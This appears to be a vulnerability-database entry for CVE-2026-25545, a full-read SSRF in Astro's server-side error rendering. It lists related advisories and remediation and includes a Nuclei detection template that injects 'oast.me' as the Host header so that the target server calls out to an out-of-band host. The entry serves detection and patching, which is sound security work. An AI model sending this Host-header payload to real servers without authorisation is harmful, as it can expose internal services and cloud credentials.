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Astro SSR - Server-Side Request Forgery
| Reporter | Title | Published | Views | Family All 16 |
|---|---|---|---|---|
 | CVE-2026-25545 | 23 Feb 202613:07 | – | circl |
 | Astro 代码问题漏洞 | 24 Feb 202600:00 | – | cnnvd |
 | CVE-2026-25545 | 24 Feb 202600:37 | – | cve |
 | CVE-2026-25545 Astro has Full-Read SSRF in error rendering via Host: header injection | 24 Feb 202600:37 | – | cvelist |
 | EUVD-2026-7455 | 24 Feb 202600:37 | – | euvd |
 | Astro has Full-Read SSRF in error rendering via Host: header injection | 23 Feb 202621:54 | – | github |
 | CVE-2026-25545 | 24 Feb 202601:16 | – | nvd |
 | CVE-2026-25545 Astro has Full-Read SSRF in error rendering via Host: header injection | 24 Feb 202600:37 | – | osv |
| GHSA-QQ67-MVV5-FW3G Astro has Full-Read SSRF in error rendering via Host: header injection | 23 Feb 202621:54 | – | osv |
 | PT-2026-21546 | 23 Feb 202600:00 | – | ptsecurity |
10
id: CVE-2026-25545
info:
name: Astro SSR - Server-Side Request Forgery
author: ritikchaddha
severity: high
description: |
Astro before 5.17.3 and @astrojs/node before 9.5.4 are vulnerable to full-read SSRF due to improper Host header validation in error page rendering, allowing attackers to redirect requests and access internal resources.
impact: |
Full-read SSRF allowing access to internal services, cloud metadata endpoints (AWS/GCP/Azure IMDS), environment files, and any host reachable from the server.
remediation: |
Upgrade to astro >= 5.17.3 or @astrojs/node >= 9.5.4. The fix reads prerendered error files directly from disk and validates the Host: header the same way X-Forwarded-Host was already validated.
reference:
- https://github.com/withastro/astro/security/advisories/GHSA-qq67-mvv5-fw3g
- https://github.com/withastro/astro/pull/15473
- https://nvd.nist.gov/vuln/detail/CVE-2026-25545
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
cvss-score: 8.6
cve-id: CVE-2026-25545
epss-score: 0.01414
epss-percentile: 0.69494
cwe-id: CWE-918
metadata:
verified: true
max-request: 1
vendor: astro
product: astro
shodan-query: http.component:"Astro"
tags: cve,cve2026,astro,ssrf
http:
- method: GET
path:
- "{{BaseURL}}/{{randstr}}"
headers:
Host: "oast.me"
matchers:
- type: dsl
dsl:
- 'contains(body, "<html><head></head><body></body></html>")'
- 'contains(header, "X-Interactsh-Version")'
- 'status_code == 404'
condition: and
# digest: 4a0a004730450220037e4aac2e48b062c82e27aaae0510cd98ba6325a6e6b9590a6c4f021c201b2f022100db4df56fb0786513103910fb45bddc200afc624771d0bd9371a7de584a150fc6:922c64590222798bb761d5b6d8e72950Data
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06 May 2026 12:41Current
5.9Medium risk
Vulners AI Score5.9
CVSS 3.18.6
CVSS 46.9
EPSS0.01414
SSVC